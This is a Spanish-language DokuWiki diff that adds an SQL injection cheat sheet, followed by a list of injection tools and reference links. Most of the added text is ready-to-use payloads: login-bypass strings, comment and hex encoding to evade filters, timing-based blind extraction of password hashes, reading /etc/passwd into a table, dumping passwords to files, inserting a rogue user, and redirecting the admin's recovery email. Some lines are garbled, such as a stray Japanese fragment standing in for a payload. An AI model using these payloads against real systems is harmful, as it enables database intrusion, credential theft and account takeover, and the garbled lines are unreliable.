Diferencias

Muestra las diferencias entre dos versiones de la página.

--- seguridad:sql_injection [2013/03/01 12:55] – creado lc
+++ seguridad:sql_injection [2023/01/18 14:11] (actual) – editor externo 127.0.0.1
@@ Línea 1: / Línea 1: @@
 ==== SQL Injection ====
+=== Técnicas ===
+<file>
+  * /**/
+  * /*--*/
+  * +
+  * %09
+  * %0A
+  * %0D
+</file>
-=== Herramientas ===
+=== Técnicas extraidas de 0x000000.com  ===
-Havij -> http://www.itsecteam.com/products/havij-v116-advanced-sql-injection/
+<code sql>
+	SELECT * FROM login /* foobar */
+	SELECT * FROM login WHERE id = 1 or 1=1
+	SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"
+</code>
+Use inside login form:
+<code>
+	1' OR 1=1--
+	1' OR '1' = '1
+	'
+	''
+	'or"='
+	') or ('a'='a
+	") or ("a"="a
+	hi" or "a"="a
+	or a=a--
+	admin'--
+	' or 0=0 --
+	" or 0=0 --
+	or 0=0 --
+	' or 'x'='x
+	" or "x"="x
+	') or ('x'='x
+	' or 1=1--
+	" or 1=1--
+	or 1=1--
+	' or a=a--
+	" or "a"="a
+</code>
+Variations:
+<code sql>
+	SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
+	 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"
+
+	 SHOW TABLES
+	 SELECT * FROM login WHERE id = 1 or 1=1 AND SHOW TABLES
+
+	 SELECT VERSION
+	 SELECT * FROM login WHERE id = 1 or 1=1 AND SELECT VERSION()
+
+	 SELECT host,user,db from mysql.db
+	 SELECT * FROM login WHERE id = 1 or 1=1 AND select host,user,db from mysql.db;
+</code>
+Blind injection vectors collection
+<code sql>
+Operators
+	SELECT 1 && 1;
+	 SELECT 1 || 1;
+	 SELECT 1 XOR 0;
+</code>
+<code sql>
+Evaluate
+	all render TRUE or 1.
+	 SELECT 0.1 <= 2;
+	 SELECT 2 >= 2;
+	 SELECT ISNULL(1/0);
+</code>
+<code sql>
+Math
+	SELECT FLOOR(7 + (RAND() * 5));
+	 SELECT ROUND(23.298, -1);
+</code>
+<code sql>
+Misc
+	SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
+	 SELECT MD5('abc');
+</code>
+<code sql>
+Benchmark
+	SELECT BENCHMARK(10000000,ENCODE('abc','123'));
+	 (this takes around 5 sec on a localhost)
+
+	 SELECT BENCHMARK(1000000,MD5(CHAR(116)))
+	 (this takes around 7 sec on a localhost)
+
+	 SELECT BENCHMARK(10000000,MD5(CHAR(116)))
+	 (this takes around 70 sec on a localhost!)
+
+	 Using the timeout to check if user exists
+	 SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login
+</code>
+Beware of of the N rounds, add an extra zero and it could stall or crash your browser!
+Gathering info
+<code sql>
+Table mapping
+	SELECT COUNT(*) FROM tablename
+</code>
+<code sql>
+Field mapping
+	SELECT * FROM tablename WHERE user LIKE "%root%"
+	 SELECT * FROM tablename WHERE user LIKE "%"
+	 SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
+	 SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;
+</code>
+<code sql>
+User mapping
+	SELECT * FROM tablename WHERE email = 'user@site.com';
+	 SELECT * FROM tablename WHERE user LIKE "%root%"
+	 SELECT * FROM tablename WHERE user = 'username'
+</code>
+<code sql>
+Advanced SQL vectors
+Writing info into files.
+	SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE '/path/location/on/server/www/passes.txt'
+</code>
+<code sql>
+Writing info into files without single quotes: (example)
+	SELECT password FROM tablename WHERE username = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),
+	 CHAR( 39)) INTO OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),
+	 CHAR( 39))
+Note: You must specify a new file, it may not exists and give the correct pathname.
+</code>
+<code sql>
+The CHAR() quoteless function.
+	SELECT * FROM login WHERE user = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),
+	 CHAR(110),CHAR( 39))
+
+	 SELECT * FROM login WHERE user = CHAR(39,97,39)
+</code>
+<code sql>
+Extracting hashes
+	SELECT user FROM login WHERE user = 'root'
+	 UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null) FROM login
+</code>
+This evaluates the first char of the password hash from user 'root' which is 'a' (ASCII 97).
+The hash is max 32 chars, and for every chars you'll need to execute the query with CHAR()
+The way to extract hashes is done this way if single quotes are allowed, see beneath it a quoteless example.
+<code sql>
+	SELECT user FROM login WHERE user = 'admin'
+	 UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null) FROM login1
+
+	 1SELECT user FROM login WHERE user = 'admin'
+	 UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97), BENCHMARK(1000000,MD5('x')),null) FROM login
+
+	 where: (passwordfield,startcharacter,selectlength)
+
+	 is like: (password,1,2) this selects: 'ab'
+	 is like: (password,1,3) this selects: 'abc'
+	 is like: (password,1,4) this selects: 'abcd'
+</code>
+A quoteless example:
+<code sql>
+	SELECT user FROM login WHERE user = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
+	 UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97), BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login
+</code>
+Possible chars
+to 9 - ASCII 48 to 57 ~ a to z - ASCII 97 to 122
+Misc.
+Insert a new user into DB
+<code sql>
+	INSERT INTO login SET user = 'r00t', pass = 'abc'
+</code>
+Retrieve /etc/passwd file, put it into a field and insert a new user.
+<code>1	load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user = 'r00t', pass = 'abc'</code>
+Then login!
+Write the DB user away into tmp
+<code sql>1	SELECT host,user,password FROM user into outfile '/tmp/passwd';</code>
+Change admin e-mail, for "forgot login retrieval."
+<code>1	UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';</code>
+Bypassing PHP functions
+Bypassing addslashes() with GBK HEX encoding.
+<code>1	WHERE x = 0xbf27 admin 0xbf27</code>
+Using an HEX encoded query to bypass escaping.
+<code sql>
+	Normal: SELECT * FROM login WHERE user = 'root'
+	 Bypass: SELECT * FROM login WHERE user = 0x726F6F74
+</code>
+Inserting a new user in SQL.
+<code>
+	Normal: insert into login set user = 'root', pass = 'root'
+	 Bypass: insert into login set user = 0x726F6F74, pass = 0x726F6F74
+</code>
+How to determin the HEX value for injection.
+<code sql>1	SELECT HEX('root'); gives you: 726F6F74. then add: 0x before it.</code>
+With comments.
+<code>
+	S/**/E/**/L/**/E/**/C/**/T * F/**/R/**/O/**/M l/**/o/**/g/**/i/**/n
+	 W/**/H/**/E/**/R/**/E u/**/s/**/e/**/r = 0x726F6F74
+</code>
+Bypassing mysql_real_escape_string() with BIG5 or GBK
+<code>1	"injection string" に関する追加情報：</code>
+(MySQL 4.1.x before 4.1.20 and 5.0.x)
+==== Herramientas ====
+  * Havij -> http://www.itsecteam.com/products/havij-v116-advanced-sql-injection/
+  * Havij http://www.taringa.net/comunidades/hackers/3552526/
+  * PonyMagic http://poneymagic.diosdelared.com
+  * General Injection Explorer
+  * Safe 3 sql injector http://sourceforge.net/projects/safe3si/files/latest/download?source=directory
+  * Enema http://code.google.com/p/enema/
+  * Absinthe http://sourceforge.net/projects/absinthe/
+  * Pangolin http://nosec.org/en/productservice/pangolin/
+  * sql poison
+  * sql map gui
+  * bsql hacker http://labs.portcullis.co.uk/application/bsql-hacker/
+  *
+==== Referencias ====
+  * http://ha.ckers.org/sqlinjection/
+  * http://www.antrax-labs.org/2012/01/sql-injection-desde-cero.html

Herramientas

menues y búsqueda rápida

búsqueda rápida

estado del sitio

Herramientas de la página

meta data de esta página

Diferencias